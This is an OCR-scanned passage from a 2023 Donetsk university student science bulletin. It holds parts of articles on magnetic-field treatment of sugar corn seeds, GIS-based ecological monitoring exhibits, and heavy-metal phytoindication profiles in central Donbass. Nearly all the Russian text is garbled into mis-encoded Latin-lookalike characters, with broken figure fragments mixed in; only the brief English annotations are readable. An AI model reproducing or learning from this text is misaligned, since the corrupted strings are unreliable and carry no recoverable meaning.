kiyoneit. Ilpeamocagounas o6pabotka kmyOneir kaprodens IleMII pasnbix wyacToT
OKa3bIBAET MOJIOKUTEIIBHOE BIMSIHUE HA BCXOXKECTh M DHEPTHUIO MPOPACTAHUS PAHHECIIEIOTO
U CPeTHECTIENIOr0 copTa KapToders.

[Toce mpoBeaeHHOTO 0030pa COBPEMEHHBIX HMCTOYHHUKOB HWH(OPMAIUU IENBIO
HacToAlel paboThl OBUIO HCCIEAOBAHWE BIMSHHS MEPEMEHHOTO MAarHUTHOTO TOJS Ha
OHTOT€HE3 M MOP(POMETPHUIO0 PACTEHUN CEIbCKOXO3WCTBEHHOW ILIEHHOCTH Ha IpUMeEpe
KYKYpY3bl CaXxapHoOil.

B pabote nocraBieHsl clieylomue 3aJauu:

1. Ouenuts Biustaue [1eMII ¢ maruuTHO#M naykuueit 1 mTn u wactoroit ot 10 ' 1o
50 I' Ha OHTOTeHE3 KYKYpY3bl CaXapHOM.

2. Ouenuts Biustaue [1eMII ¢ marauTHO#M naaykuueit 1 mTn u wactoroit ot 10 ' 1o
50 I't Ha MOpPHOMETPHIO KYKYPY3bI CaXapHOH.

MarepuaJbl 1 METOABI

B  otmene  ¢u3MKM  MarHUTHBIX ~ SBJIEHMM UM BBICOKOTEMIEPATypHOMU
CBEPXMPOBOAUMOCTH HAyYHO-MCCIIEIOBATEIbCKOW YacTh JIOHEIKOro HalMOHAJIbHOTO
YHUBEpCUTETA OblJIa CIIPOEKTUPOBAHA MATHUTHASI yCTAaHOBKA AJ11 00paOOTKM OMOJIOTHYECKUX
00BeKkTOB (puc. 1). OYyHKIIMOHATBFHYIO CIOCOOHOCTh MAarHUTHON YCTaHOBKHM OOECTIeYHBACT
pa3paboTaHHBIN, COOPAaHHBIM U UCTBITAHHBIN pabOYMii MakeT MCTOYHUKA TOKA C BBHICOKUM
BbIXOAHBIM cornpotuBieHreM (UTYH), paboTaromuii B KIIFOYEBOM PEKUME.

Cama sKkcriepyMeHTa IbHasi MarHUTHAs YCTaHOBKA BKJIIOYAeT B cebst aBe kaTyuiku (1),
ocuusuiorpad ¢ MOMOIIBI0 KOTOPOTO MBI OMIPEIEsIA XapaKTEPUCTUKA MAarHUTHOTO T0JIA (2),
B KOTOPOM IIPOUCXOUT 00Jyde€HUE CEMSH; FeHepaTOp CUTHAIOB crenuanbHoil popmbl ['6 28
(3) (ocob0 BakeH TpU TOCTAHOBKE 33/JaY C PA3IUYHBIM THIIOM BBIXOJHOTO CHUTHAa) U
MCTOYHUK TOKa (4) ¢ BBICOKMM BBIXOJHBIM comnpotuBieHuem (MTYH).

B kauecTtBe 00BeKTa Hccne0BaHUs ObUTH BRIOPAHBI CEMEHA KYKYPY3bl CaXapHO, Kak
OJTHOW W3 BaXKHBIX CEITHCKOXO3IUCTBEHHBIX KyNbTyp. OIICHHMBAIM OHTOTCHETHYECKUE U
Mop(domMeTpruyecKne U3MEHEHUs HAI3eMHON YacTH U KOPHEBOW CHCTEMBI CEMSH MIIECHUIIBI
MSATKOMU MOCyIe 00TydeHHUs IEPEMEHHBIM MarHUTHBIM TIOJIEM C PA3IUYHON YaCTOTOW U THUIIOM
curHaiia B TeueHue | yaca.
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Puc. 1 — BHemnuii Buj ycrpoiicTBa 1o o0paboTKe ceMsiH pacTeHU epeMEHHbBIM
MarHMTHBIM MOJIEM

PesynbTaTsl Hecjief0BaHUI U X 00CyKIeHHE

Onmozenemuueckue ocobennocmu KyKypysvl caxapuou npu enuanuu IleMIl. Tlpn
obnyuenun cemsH [leMIl crumynupyromuii s3¢dext Habmogaercs npu yacrtore 10 I'u. B
naHHoU rpynmne ~ 48% pacTeHu JOCTUTIM cTauu 1-2 JucTa, B KOHTPOJIBHOM IpyIiie JaHHOU
craauu gocturio Bcero ~32%. He mpopocmux pacteHuil B gaHHO# rpymnme ~ 28%, a B
KOHTpONbHOU ~ 24%. Murunbupyromee neiicreue HaOmomaercs mpu 40 ', kommyecTBo
pacTeHMi gocturmmx craauu 1-2 mucra cocraBusier ~ 20%, a HE NPOPOCIIUX CEMSH B
naHHOM rpymme coctaBisieT ~ 48 %. (puc. 2)

60

b

L L T
[T e s T o T o I e
| | |

Kommqecreo, %

K 1 2 3 4 5

I'pyoma
Puc. 2. — Pe3ynbrathl onTOoreHesa Ha 8 cyrku noj BnusHueM [1eMII 10-50 I'a
Ipumeyanue: K — KOHTpOJIbHAS TPYIIIa pacTeHU, A — KoJeonTwib, b — ¢aza 1-2
JUCTa

Oyenka mopgomempuu Ha03eMHOU U HOOZEMHOU YACMU KYKYPY3bl CAXAPHOU

[To cpaBHeHUIO ¢ KOHTpOJBHON rpynmnoi ~ 39%, crumynupyoomuM 3¢ deKTom Ha
MophoMeTpHUYEeCcKHe MOKa3aTeId Ha3eMHOM YacTH KyKypy3bl caXxapHOH 001again 4acTOThI
50Tmwm 30 I'a ~ 55 %. Helitpansublii a3gdext oorapyxker npu 20 ['n ~ 47%. Uarubupyromiee
neiictue npossusercs npu 10 I'n u 40 ', npu 3T0M 3HaueHus coctaBisioT 40%. (puc. 3)
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Puc. 3 — Bimustaue [1eMIT nHa MmopdomMerpruyeckue nmapameTpbl KOPHEBOH CUCTEMBI U
HAJ[36MHOW 4aCTU KyKypYy3bl CaxapHOU

OneHuBasi KOPHEBYIO CUCTEMY KYKYpy3bl CaxapHOW BHUJUM, UYTO CTUMYJIMPYIOIEE
neiicrsue Habmonaercs npu 30 I'u ~ 51%. CpaBHUBas oKa3zaTeny ¢ KOHTPOJIbHOM IPyHIon
~ 33 % u 30 'y, nokaszarenu ymeHsimnchk Ha 18%. Heirpansneiii apdexr nadbmomgaercs
npu 50 I'm ~ 41%. Wurubupyromee aevicreue Habmonanu mnpu 10 I'm u 20 ['u, koTopoe
cocraBisieT 38%.

BriBoabI

Hcxons u3 0630pa UCTOUHUKOB WH(GOPMAIMK, MOKHO C/IEIaTh BBIBOJ, YTO BIIUSHUE
MarHMTHBIX MOJE€H OKa3bplBalOT pa3iMuHble 3PQPEKThl B OHTOreHe3€ pacTeHUi. DPdekT
3aBUCHUT OT XapaKTEPUCTUK (PU3UYECKOr0 BO3/IEHCTBUSA U 00BbEKTa UccieoBaHus. B cBs3u ¢
3TUM IIPU KOHCTPYUPOBAHUH MAarHUTHBIX YCTAHOBOK HEOOXOAMMO OMOTECTUPOBAHKE U TIOUCK
ONTUMAJIBHBIX MTAPAMETPOB JUIst MOIU(UKALIUN OMOTOTMYECKHX OOBEKTOB.

B pesynbTate npoBeAEHHBIX JIAOOPATOPHBIX HCCIIEOBAHUM YCTAaHOBJIEHO, YTO
CTUMYJUPYIOMHUN 3P PEKT B pa3BUTHH CEMsH KYKypy3bl caxapHoi Habmoaercs npu [TeMII
10 I'ry (48%), marnbupytomee — npu amruuTyae MarautHoro moiist 40 ' (20%). OnennBast
MOp(GOMETPHIO HAA3EMHON YacTH KYKypy3bl CaxapHOW, MOXHO CKa3aTh, YTO Jy4llIHe
3HayeHus HaOmomamu npu =30 I'm (55%). Ha kopHEByIO CHCTEMY CTHMYJIUPYIOIIEE
nevictue mposBuin 4actoThl 30 I'x (51%), a unrnOupyromuit 3pdexr odHapyxumu Hal0 I'iy
(37%).
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THE INFLUENCE OF THE MAGNETIC FIELD ON PLANTS USED IN AGRICULTURAL
ACTIVITIES

Annotation. In this paper, the influence of an alternating magnetic field on the ontogenesis and morphometry of
plants of agricultural value is studied on the example of sugar corn. The influence of an alternating magnetic
field with a magnetic induction of 1 Mt and a frequency from 10 Hz to 50 Hz on the ontogenesis and
morphometry of sugar corn was evaluated.
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VJIK 581.15 (477.66)

WHIUKATOPBI 1151 OLIEHKH YPBAHU3UPOBAHHOM CPE/bI U
TEXHOTEHHOI'O BO3JENCTBUA B TJOHBACCE

Pyoenxo E.II.
Hayunwuii pykosooumens: Cagponos A.U., kano.ouon.nayx, 3as.kagheopoii
TIoy BIIO «/IOHHY»

Annomayus. B craThe BBIAENEHBI aCHEKTHI, MO KOTOPBIM BEJIETCS HarjsiHO-JE€MOHCTPAaTUBHBIA Hay4HBIH
SKCIIEPUMEHT B paMKax T'eOnH()OPMAIMOHHBIX TPOTpaMM U3ydeHUst TeppuTopru JJondacca 1 HeNOCpeACTBEHHO
Joneukoit Haponnoii Pecrryomuku. IlpencraBiensl oOpa3ibl OOTAHUUECKHX M DKOJOTHUECKHX Pa3pabOoTOK,
KOTOpBIE SIBJISIFOTCSI YacTbI0 BBICTABOUHOHN JAEATEIbHOCTU JIOHENKOrOo HAlMOHAIBHOIO YHUBEPCHUTETA IIO
U3YYEHHIO TEOCUCTEM.

Kniouegvie cnosa: dpuronnaukanus, JJondacc, pUTOMOHUTOPHUHT, IKOIOrHUecKuii MounTOpuHr, [ MC.

JUis TEXHOT€HHO W AaHTPOIOI€HHO HANpPSDKEHHBIX TEPPUTOPUN HMCKIIOUUTEIBHO
Ba)XKHBIM HAa COBPEMEHHOM 3Talle SBJSETCS IPOBEACHNE HaAyYHO-UCCIIE0BATENILCKUX PadoT B
CHUCTeME aHaiM3a TeOMH()OPMANMOHHBIX JaHHBIX [1-5], 4TO Ha mpuUMeEpe IOHEHKOIro
IPOMBIIIICHHOTO Y371a BO MHOTOM pEaJM3yeTcsi Takke M0 OOTaHUKO-3KOJIOTMYECKOH
coctapisitoniedl [6—11] u sBIsA€TCS OCHOBHOM Il CO3[IaHUS HATJISIAHO-IEMOHCTPATUBHBIX
HKCHEPUMEHTOB [0 BHM3yaJM3allMd JAHHBIX M HX HCIHOJb30BAHMU B pa3HbIX cdepax
X03UCTBEHHOU 3aHATOCTH pervona [12—19]. Takue nanHble BOCTpEOOBAHBI  COMPSIKEHBI C
NesTeNbHOCThI0  ruapobuonoroB  [20],  LEHOMOMYMSALUUMOHHBIX  dSKojoroB  [21],
¢dbuToMoHnTOpHHTOIOTOB [22], puTopemennanmonuctoB [23] B Jlonbacce.

L{enb pabOTHI — BBIAEIUTH ACHEKTHI, 10 KOTOPBIM BEJIETCS HATJIATHO-AEMOHCTPATUBHBIN
Hay4YHBIH 3KCHEPUMEHT B paMKax reoMH(OPMallMOHHBIX MPOTpaMM H3YYEHHUS TEPPUTOPUN
Jlonb6acca u HenocpencTBeHHO [lonenkoit HaponHoit PecriyOnuku, npeactaBuTh o0pasiibl
OOTaHMYECKHX M SKOJIOTMYECKUX pa3pabOoTOK, KOTOpBIE SIBJSIIOTCS YacThbIO BBICTABOYHOU
JEATENBHOCTH [JOHEIKOTO HAaIlMOHAIBHOIO YHUBEPCUTETA 110 U3YUEHUIO T€OCUCTEM.

JlornuHOM NPUYMHON MOATOTOBKH JAHHOU CTAaThU ABJISIETCS TO, YTO TOTOBAS MTPOTYKIIHS
BBICTAaBOYHOH JIeITENbHOCTH B JIOHEIIKOM HallMoHaIbHOM YHHMBepcuTeTe 3a 2022 r. He Oblia
OIyOJIMKOBaHA B aHOHCHPYEMOM KaTajore Hay4yHO-TEXHHUUECKUX pa3pabOTOK, KOTOPHIA ObLI
MOJrOTOBJIEH B paMKax MeXAyHapoJHOW Qopyma, uHUIMHpPOBaHHOTO JloHenkum
HAIlMOHAJbHBIM TEXHUYECKUM YHUBEpPCUTETOM. Vcmonb3oBaHHbIE MaTepuaabl B MOJIHOM
o0beMe NPEICTaBISAIOT COOOM HHTEpPEC B MCCIENOBATENbCKOM AEATENbHOCTH CTYACHTOB
Kadeapbl OOTAHUKU W KOJOTUU OMOJOTHYECKOTO (hakynbTeTa JJOHEIKOro HalMOHAIBLHOTO
YHHUBEPCUTETA.

Cucrema JI€MOHCTPATUBHOTO SKCIIEPUMEHTa IMPEACTaBIseT Co00M o00s3aTeabHoe
CO3/IaHHE PAHKUPOBAHHOTO psija MapaMeTPOB 10 3KOJOTMYECKUM IIKAJIaM U UCIIO0JIb30BAHNE
MHUKATOPOB, KOTOPbIE [0 CBOEMY MPUHIIMIIHAILHOMY 3HaYEHHIO CBA3aHbl ¢ HH(popManuen
0 KOHKPETHOM COCTOSIHUU DKOCHUCTEMbI B KOHKPETHOM JiokanuTere. [lonmydyeHHble 0Opasibl
MMEIOT IHUPOKHUIM MHTEPEC B Pa3IMYHbIX cepax HapOJHOTO XO3sIHCTBA, a TAKKE OTPAKAIOT
HAayYHO-TEXHUYECKHE BO3MOXKHOCTH HCCJIENIOBATENbCKUX HHCTUTYTOB B JloHeukoi
Haponnoit PecnyGnuke. Baxno, 4TOo Takoe HampaBieHHE ACATEIBHOCTH, XOTh U
npecTaBisieT coboit mpuoputeTHbI nHTEpec Bcex HUM PecnyOnuku, NO3MIMOHUPYIOMINUX
ce0s Kak CIEeHaINCTOB B 9KOJIOTMYECKOM OTpaciiy, BCTpeUaeT MOAJIEPKKY B APYKECTBEHHBIX
opranm3anmsax Poccuiickoit @enepanun, cBa3aHHbix ¢ [IC B kocMHUeCKON MHIYCTpUM U
HA3eMHBIX MOJIEBBIX UCCIIEJOBAHUSIX.
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Pucynkun 1 m 2 mnpencraBistoT coOOM YacTUYHO BU3YaJTU3UPOBAHHBIE CTEHIbI
BBICTABOYHOM JiesITeNIbHOCTH [loHenKoro HalmoHansHoro ynusepcurera no ' MC-remartuxke.

1Ka(bez{pa «bOTaHMKH U 3KOJIOTUH»
'OV BIIO «/loHenkuii HallTMOHAJIBHBIN YHUBEPCUTET
2Ka(i)e,t[pa «"eonH(pOPMATHKH, TEOC3UH U 3eMIICYCTPOUCTBAY
T'OV BIIO «/loHeukuii HaHHOHaJILHBIH TEXHUYECKUH YHUBEPCUTET»

ch oﬁoo;m;;;;,_g
Kon-so mxoe
L_J3-s
e-s
Es-n
i-12 14
\Ets 17
18-20

B 21-23
Mecmo npobsi
(xon-60 Mx08)

Texwonorust mpegycmarpuBaer cOoOp, o00pabOTKYy ©  HMHTEPIPETALIHIO
MOKA3aTENCH COCTOSHHSA PACTHTCIBHBIX OPTraHU3MOB [ OLECHKH COCTOSHHSA
NPUPOOHBIX H AHTPOMOrCHHO TPAHC(OPMHPOBAHHBIX Cpen, anpoOHpoBaHA ist
tepputopun Llentpansroro Honbacca. Texwnomorust ocHOBaHa Ha (POPMUPOBAHUM
HKOJOrMYCCKUX KA PU3HAKOB U XaPAKTCPUCTHK, MO3BOILICT MPOBOAUTE MPOLCCCHI
kaprorpaduposanus, Busyanusaumu, | WMC-aHanus, MOIEIMPOBAHHE, TMPOTHO3
COCTOSIHMS, (DYHKLHMOHAIBHYI) OHATHOCTHKY CTEMEHH MPHIOZHOCTH 3KOTOMA st
XO3SMCTBEHHOM OEITEIBPHOCTH ¥ KOHKPETHOMY LIEJIEBOMY  HCIIOJB30BAHHIO.
Hcnone3oBanel mokazarend CTPYKTYPHOW H  (DYHKUHOHAIBHOH TeTepOreHHOCTH
pacTeHHH-HHINKATOPOB.

b
Pucynok 1 — Dkcro3unys TeMaTn4eckoro creH1a « 9KoJ0rHUeCKUil MOHUTOPUHT (haKTOpOB
AHTPOIIOTEXHOTEHE3a C IIOMOIIBIO PACTCHUN»:
A — mmocTpaTHBHAs 4acTh, b — TeKcTOBas yacTh CTEHJA

109



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennsie Hayku. — 2023.

HHP®OPMAIIMOHHAS CHCTEMA OIIEPATHBHOI'O CIIYTHHKOBOI'O
MOHHUTOPHHI'A S5KOTOI'HYECKOHN BE3OITACHOCTH
JOHEIIKOHU HAPO/THOH PECITYB/IMKH

ABTOpBI: Hecosa A. B., unxenep;
IMecrasun H. C., Bexymmuii Hay4. coTp., K. T. H.
PykoBoaurenn: Illecrasun H. C., 3aB. otnenom HTH JlorHY, K.T.H.

Kagenpa «Du31ki HepaBHOBECHBIX IIPOLIECCOB, METPOIOrTII I 3komormt M. M.JI. IToxax
'OV BIIO «/loHenxuii HAIIIOHATBHBI YHIIBEPCIITET»

001 002 005 01 Q02 05 1 2 5 10 20 50 100 999

1 1
L _HE -lo,o1 0 o,zl)z 0,04 0,05
Pacnpenenenne KoHIeHTpanun SO; B BpeMeHHas JHHAMEKA KauecTBa BOJ pekH Kambmuyc
TIPHIIOBEPXHOCTHOM CTI0€ aTMOC(EpHI B T. Jlorenke Ha 07.08.2019 1 16.08.2020. a Takxe
(8 ML) 32 06.05.2022 7Terenna npoxnykra “Floating Algae Index™

TTosxape! ¢ aKTHBHBIM ITOpEHIIeM, TopsuIie Oo6nauHocTh 3a BpeMa 12:00 GMT
TOUKII I rapu Ha | masg 2022 roxa Ha | mas 2022 roxa

Pucynok 2 — [Tpumepsl reonH(popMaiMOHHBIX TEXHOJIOTHA, pean3yeMble Ha Kadeape
(GU3UKN HEPAaBHOBECHBIX MTPOLECCOB, METPOJIOTUH U HKOJIOTUH JIOHEIKOro HallMOHAILHOTO
YHHUBEpPCUTETA

WHTerparusi moNydeHHBIX MaHHBIX (M0 OOTaHMYECKON COCTaBISIOUICH C JaHHBIMH
TexHochepsl U 0€30MaCHOCTH JKU3HENEITCIIbHOCTH B PETHMOHE) CTpPaTeTMYecKH BakHA B
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pEruoHEe TMOCTOSHHBIX aHTPOIOTEHHBIX TpaHCPopMalMii U  COIHUAIBbHO-TIOTUTHUYECKUX
KOH(JINKTOB, MOCKOJBKY €KEroJHO YPOBHHM M CIElU(HKa BO3JACHCTBUS Ha JIaHAIMA(THI
MEHSIOTCA W JJIsl OLIGHKH yiiepba B TOM 4HCJI€ BOCHHBIX JCHCTBUI OYEHb Ba)KHO MMEThb
perepHble MHIUKATOPHl M MPOBOJUTH TEXHOJIOTHIO OLIEHKU DPETrYJISIpHO, TMOMOJNHSAS 0a3y
JAHHBIX U COCTOSIHUE KPUTHUECKU BaXKHOU MH(PACTPYKTYPBHI.

Hcnonp30BaHHbIE TEXHOJOTH U MOJTYYEHHBIE JAHHBIE TAKXKE SBISIOTCS HEOThEMIIEMON
YacTbIO HATJISTHO-TUAAKTHUECKONH pabOThl CTYACHTOB HA 3aHATUSX MO DKOJIOTHYECKOMY
MoHutopuHry, JlangmadroBeneano, HopMupoBaHHMIO aHTPONOIEHHOW HArpy3Kd Ha
MIPUPOIHBIE ADKOCHCTEME, TexnochepHoit 0e30macHOCTH, I'eoskonorumn u
CHeIHaTM3UPOBAHHBIM KypcaM, pealn3yeMbIM B paMKax ydeOHoro mpoiiecca B JloHEenKoM
HallMOHAJLHOM YHUBepcuTeTe. VcIoyb30BaHME pealIbHbIX JAHHBIX B PEaJbHOM BPEMEHU
BBI3bIBACT IMOBBIIIEHHBI UHTEPEC y CTYIEHTOB, MOTHBUPYET UX K M3yYEHUIO MaTepuana,
IIOCKOJIbKY BCE€ MCII0JIb3yEMbIE HarJIsIHbIE HHPOPMALIMOHHBIE CUCTEMBI SBJISIIOTCS YaCThIO UX
MTOBCETHEBHOM JKU3HU U CTUMYJIUPYIOT XKeJlaHuEe K ONTUMHU3ALUU CHCTEM B 9KOJOTHYECKOU
cdepe myTeM 00s13aTEIIBHOTO TIEPBOHAYATILHOTO 3HAHKS 00 X COCTOSHHH.

Bonpocel mogo0HOro conepikaHus TakKe SBISIIOTCS 4YacThio 0OCYXIEeHUH Ha
3aceaHusAX CTYICHYECKHX HAyYHBIX OOIIECTB (DPM3MKO-TEXHHUECKOTO M OHMOJIOTHYECKOTO
(bakynbTeToB JOHENKOro HAIMOHATBLHOTO YHHUBEPCUTETA, UYTO OTpPa)kaeT HE TOJIBKO HX
3HAYUMOCTb, HO W I[I03BOJISIET KOHCTATUPOBAaTh MHTEpEeC cpeau Moisoaexku. Haumbonee
BOCTPEOOBAHHBIM SIBIISIETCS BOIPOC TMPOLEIYPHOTO CPAaBHEHMS MJAHHBIX, IOJY4YEHHBIX
Pa3IMYHBIMU CIIOCO0AMHU, a TAK)KE COBMEILIEHNE HA3EMHBIX UHCTPYMEHTAJIbHBIX PE3YIbTaTOB
C IJaHHBIMH, MTOJIYYEHHBIMH ITyTeM 00paOOTKH CITyTHUKOBBIX CHUMKOB.

TakuM o00pa3oM, BbIAEIEHBI ACMEKTbl, IO KOTOPBIM BEIETCS  HAaIJIJIHO-
JIEMOHCTPATUBHBIM HayyHBI SKCIEPUMEHT B PAMKaX T'€OMH(DOPMAIMOHHBIX IMPOrpaMMm
n3yuyenus teppuropun Jlonbacca u HenocpenctseHHo Jlonenkoit Hapomnoit PecryOmuku;
IIpeJCTaBIeHbI 00pa3libl OOTAHUYECKUX U IKOJIOTMYECKUX Pa3pabOTOK, KOTOpbIE SIBIISIOTCS
4acTbl0 BBICTABOYHOM JeATENbHOCTH JIOHEHUKOro HalMOHAIbHOIO YHUBEPCHUTETA IO
U3Y4YEHHIO TEOCHUCTEM.
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IMPACT IN THE DONBASS

Annotation. The article highlights aspects on which a demonstrative scientific experiment is being conducted
within the framework of geoinformation programs for studying the territory of Donbass and directly the Donetsk
People's Republic. Samples of botanical and ecological developments are presented, which are part of the
exhibition activities of the Donetsk National University for the study of geosystems.

Keywords: phytoindication, Donbass, phytomonitoring, environmental monitoring, GIS.

Rudenko E.P.

Scientific adviser:

Safonov A.l. Ph.D., Head of the Department of Botany and Ecology, Donetsk National University
E-mail: kf.botan@donnu.ru

112



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

VJIK 581.9 : 631.4 (477.60)

ATIPOBAIIMS TEOXUMHWYECKHX U ®UTOUHINKALIMOHHBIX ITIPO®PUJIEN
MAPHIPYTHBIM CITIOCOBOM B HEHTPAJIBHOM JTOHBACCE

Cyeukasa A.A., Heanosa /I.B.
Hayunwuii pykosooumens: Cagponos A.U., kano.ouon.nayx, 3ae.kagheopoi
oy BIIO «/[OHHY»

Aunomayus. B pamkax peann3yemMoil KOMIUIEKCHOM TeMBI JUIsl BBITIOJIHEHUS BBITYCKHBIX KBATU(QHUKAIIOHHBIX
pabor Ha kadenpe OOTaHMKH U AIKOJOTHHM J[OHEIKOr0 HAIMOHAJIHHOTO YHHUBEPCHTETA MO WHIAMKAIMOHHBIM
cBOWCTBaM U (PyHKUMSM pacTeHHH B MPOMBINIICHHOM PETHOHE BBIIIOJIHEHO MapIIpyTHOE MpOoQHIMPOBaHHE
TEXHOTEHHBIX JKOTONOB IEHTpalbHOTro JloHOacca asl KOHTpacTa TeOXMMHYECKOW CPEAbl MO OTIEIbHBIM
MHIpEIeHTaM U B (PUTOMHINKAIIMOHHBIX HCCIIEIOBAaHUSX: CTPYKTYPHAS IIACTHYHOCTh PACTEHHUI-UHIUKATOPOB
B YCJOBHSX AaHTPOIIOTCHHOW Cpe/bl; BO3MOXKHOCTH DKCIIPECC-OLIEHKH 3KOJOTMYECKOTO COCTOSHHS YJIIHIL
r. JloHenka mo (pUTOKBaHTU(DUKAIIHH.

Knrwuesvie cnosa: ¢uronHaukaums, JloHbacc, (QUTOMOHHTOPHHI, 3arps3HCHHE TSDKEIBIMH MeETaJUIaMH,
MapupyTHOE MPOoQUIMpPOBaHUE.

Jlis reoXMMHYecKH KOHTpacTHOM cpeanl JlomOacca mpoBeaeHHE aHATUTHYECKOTO
KOHTpOJISI 32 COCTOSIHUEM OKOTOINOB SIBJIAECTCS TMPUOPUTETHOM 3amaueit [1], drto
paccMaTpuBaeTCsi B aKTYalbHBIX  HAYYHBIX  MYONUKALMAX JJI1  AHTPONOTEHHO
TpaHC(POPMUPOBAHHBIX PETHOHOB [2—5], HWMeeT Hay4YHO-NPAKTUYECKUN BBIXOJ IO
ONTUMHU3AINU CUCTEM [6], uX reonHpopManioHHOMY aHanu3y [7, 8] U OMOMHIMKAIMOHHON
cocrapistonieit [9—14]. Ha ceromns BaXHBIM SIBIsSIETCS Y4eT (POHOBBIX KOHILIEHTpAIUi,
penepHbIMH  JJAHHBIMU  CPEM KOTOPBIX SBJISIOTCS CBOJKM JOHELKOTO WHCTUTYTa
arponpoMBIIIICHHOTO TIPOU3BOJICTBA, OIyOJMKOBAaHHBIE JaHHBIE O 3arpsS3HEHUH II0YB
JIOHEIIKOTO PETHUOHA.

Lenb pa®oTHl — BBITOJHUTH MapIIPYTHOE MPOPHINPOBAHIE TEXHOT€HHBIX AKOTOIOB
neHtpaipHoro Jlonbacca JuIsi KOHTpacTa TI€OXMMHUYECKOM Cpeibl 10  OTAEIbHBIM
UHTpenueHTaM (Menb, UHK, PTYTh M CBHHEI) W (DUTOMHIAMKAIIMOHHBIM HCCIICIOBAHUSM B
paMKax pearu3yeMoi KOMIIJIEKCHON TEeMBI JUIsl peaIi3allii BBITYCKHBIX KBaTH(PHUKAIIMOHHBIX
pabot Ha kadeape OOTAaHUKH M IKOJOTUU JIOHEIIKOTO HAIIMOHAJILHOTO YHUBEPCUTETA I10
UH/MKALMOHHBIM CBOWCTBAaM M (QYHKIMSAM pAaCTeHUH B TNPOMBIIUIEHHOM pPErHOHE:
CTPYKTYpHasl TUIACTUYHOCTh PACTEHUI-MHIMKATOPOB B YCIIOBHSX AHTPOIIOTCHHOW Cpebl;
BO3MOKHOCTH 9JKCIPECC-OLIEHKH HKOJIOTHYECKOr0 CcocTosHusA ynui T. JloHenka 1o
(¢uTOKBaHTU(UKALINY.

B pabGore wucnonp3oBaHa METOJAMKA M METOAOJIOTUS  (DUTOMHAMKALMOHHBIX
WCCIIC/IOBAaHUA M TEOXMMHYECKMX 3aKOHOMEPHOCTEH B KOHIIEHTPHUPOBAHHU OTIEIBHBIX
(bakTopoB 3arps3HenHus [ 15, 16], sxonoro-6otanmueckux pazpadbotok B [Jonbacce [17, 18]. B
pETHOHANTBHON OOTaHUYECKOW TOKCHKOJOTHH HWHTEPEC TPEICTABISIOT KaK TEOPETHUECKUE
CBOJIKH, TaK U NMPAaKTUUYECKHE HApaOOTKH 10 U3YUEHHUIO BIMSHUS OMACHBIX 3arpsA3HUTENEH Ha
pacTuTeNnbHbIN opranusm [3, 7,9, 12, 19-22].

beuta mocraBieHa 3amadya pa3paboTaTh M MPEAJIOKHUTH K BHEIPEHUIO T'€OJOKATbHO
(uKCUpOBaHHbIE MapIIPyTHHIE CHOCOOBI OOCIENOBaHMS JOCTYNHON [UIsi MOHHTOPHHTA
tepputopun JlonbGacca TakuM 00pa3oM, uTOOBI B MEPEABMKHBIX JabopaTopusx coOparh
pacTuTeNnbHbIe 00pa3lbl B paMKaX 3aKOHOMEPHOCTEH MEHSFOIIUXCS TOKCHKOJIOTHYECKHX
TPEHIOB U B KOPPENSALUH C STUMH JIQHHBIMH BBLIEIHTH CTPYKTYPHO-(YHKIIMOHAJIbHBIE
3aKOHOMEPHOCTH COCTOSIHUSI PACTHTEIBHBIX OPTraHU3MOB, NPOSBISIONINX JOKa3aHHBIC
WH/IMKAaLMOHHBIE cBolicTBa. Ha pucynkax 1—4 mpejcraBieHbl cxeMbl Hanboiee BHIBEPEHHBIX
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U TPaBWIBHBIX MaplIpyTOB, KOTOpble Mpouutu anpodauuto B 2021 u 2022 rr. mo cbopy
MOJIEBOTO MaTepuaia (PUTOMHAUKAIIMOHHOTO COICPIKAHMUS.

g Kapra-cxema 3arps3HeHHs TIOYB MeJIbIO
(BayoBbIe KOHIIEHTpauu). 1996 r.

Pempocnexmusnviii ananus, opeanuzays
¢honoswvix nabnooenuil,

/\/\/\/ Mapupymol 00¢1e008anUil
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I 150w nrke

15-20
'iS!I sn‘bp?rm
20 - 3nm

50,0 - 80,0 M /KT
VYCJIOBHBIE

->1 0t 30,0 Mr/Kf
'r:numuuuzu OBO3HAYE HU4A

Pucynok 1 — I'eoxumuueckuit u putonHaukanunoHusiii Cu-npoduis B acekTe MpOBEACHUS
9KOJIOTUYECKOr0 MOHUTOPUHTA IIeHTpanbHoro Jlonbacca

Cu

Baxuo OTMETHUTH, YTO B 3aKJIaJAbIBAHHUNW T'COXHMUYCCKOIO H (bl/ITOI/IH}II/IKaHI/IOHHBIX
HpO(pPIJ'ICfI BAKHBIM 3KOJIOTUYCCKUM TPEHIAOM BBICTYIIAC€T OLCHKA KU3HCHHOI'O COCTOSHUA
PaCTUTCIIBHOTO OpraHu3Ma, €ro ICPBUYHLBIC HWHAWKAIIMOHHBIC CBOf/JICTBa, BO3MOXHOCTbH
MMPOABJICHUA HECTUIIMYHOTO CTPOCHUSA U CUCTCMbI (I)YHKHHOHaHLHOﬁ TeTCPOTCHHOCTH.

Kapra-cxema 3arpsi3HeHus 10YB IIHHKOM
(BasnoBbIe KOHLIEHTpauuu). 1996 r.
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Pucynok 2 — I'eoXMMHYeCKU# U PUTOMHIUKAIIMOHHBIA ZN-TTPOHIIL B ACTIEKTE MTPOBEICHHS

HKOJIOTUYECKOTO MOHHTOPHUHTA IIeHTpaiibHOTrO JloHOacca
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Kapra-cxema 3arpsi3HeHUsI IIOYB CBUHIIOM
(BaJIOBbIE KOHIIEHTpaluu). 1996 r.
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Pucynoxk 4 — I'eoxuMuveckuit 1 GUTOMHANKAIIMOHHBIN Ph-nipoduie B actiekTe npoBeaeHus

HKOJIOTUIECKOTO MOHUTOPHWHTA IIeHTpaibHoro JloHbOacca

I[To wmarepuamam pucyHkoB 1-4 mipeAcTaBiIeHHOW pabOTHI YCTAaHOBJIEHO, YTO
MOJIYYMBIIASICS MOJIENb B (hopMe y30pa Ha JaHAmadTe MECTHOCTHU SBISETCS MHIUBUIYaTHHO
CHEeIU(pUUHON IS KaXI0TO OTAENIbHO B3ATOT0 MHIPEIMEHTa, OJHAKO, MEepBUYHAs 3ajaya
OblTa TOcTaBlieHa coOpaTh OOTaHMUYECKUN MaTepuan B TPUBS3KE K JaHHBIM JIOHEIKOro
WHCTUTYTa arpONpOMBINUICHHOTO TPOU3BOACTBA IO COCTOSHHIO Ha 1996 1., 4tO mpm
MOJIYYEHUH HOBBIX JAHHBIX O TEOXMMHYECKOM KOHTPACTE TMO3BOJIUT CKOPPEKTUPOBATH
